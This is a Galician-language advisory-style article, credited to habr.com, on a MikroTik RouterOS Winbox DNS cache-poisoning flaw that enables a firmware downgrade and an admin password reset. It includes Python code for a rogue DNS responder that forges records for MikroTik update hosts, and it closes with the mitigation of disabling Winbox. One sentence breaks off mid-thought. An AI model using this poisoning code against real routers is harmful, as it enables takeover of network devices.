A capacidade de degradar de forma remota os dispositivos baseados en RouterOS (Mikrotik) pon en risco centos de miles de dispositivos de rede. A vulnerabilidade está asociada ao envelenamento da caché DNS do protocolo Winbox e permítelle cargar no dispositivo firmware obsoleto (cun restablecemento de contrasinal predeterminado) ou modificado.
Detalles da vulnerabilidade
O terminal RouterOS admite o comando de resolución para a busca de DNS.
Esta solicitude é xestionada por un binario chamado resolver. Resolver é un dos moitos binarios que se conectan ao protocolo Winbox de RouterOS. Nun alto nivel, as "mensaxes" enviadas ao porto Winbox pódense enrutar a varios binarios en RouterOS baseados nun esquema de numeración baseado en matrices.
De forma predeterminada, RouterOS ten a función do servidor DNS desactivada.
Non obstante, mesmo cando a función do servidor está desactivada, o enrutador mantén a súa propia caché DNS.
Cando facemos unha solicitude usando winbox_dns_request por exemplo example.com, o enrutador almacenará o resultado na caché.
Dado que podemos especificar o servidor DNS polo que debe ir a solicitude, introducir enderezos incorrectos é trivial. Por exemplo, pode configurar unha implementación de servidor DNS desde
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Agora, se buscas example.com usando Winbox, podes ver que a caché DNS do enrutador está envelenada.
Por suposto, envelenar example.com non é moi útil xa que o enrutador non o usará. Non obstante, o enrutador debe acceder a upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com e download.mikrotik.com. E grazas a outro erro, é posible envelenalos todos á vez.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
O router solicita un permiso e devolvémoslle cinco. O router non almacena correctamente todas estas respostas na caché.
Obviamente, este ataque tamén é útil se o enrutador está a actuar como servidor DNS, xa que permite que os clientes do enrutador sexan atacados.
Este ataque tamén permítelle explotar unha vulnerabilidade máis grave: degradar ou retroceder a versión de RouterOS. O atacante recrea a lóxica do servidor de actualizacións, incluído o rexistro de cambios, e obriga a RouterOS a percibir a versión desactualizada (vulnerable) como actual. O perigo aquí reside no feito de que cando a versión se "actualiza", o contrasinal do administrador restablece o valor predeterminado: un atacante pode iniciar sesión no sistema cun contrasinal baleiro.
O ataque está bastante funcionando, a pesar de que
protección
Simplemente desactivar Winbox permíteche protexerte destes ataques. A pesar da comodidade da administración a través de Winbox, é mellor usar o protocolo SSH.
Fonte: www.habr.com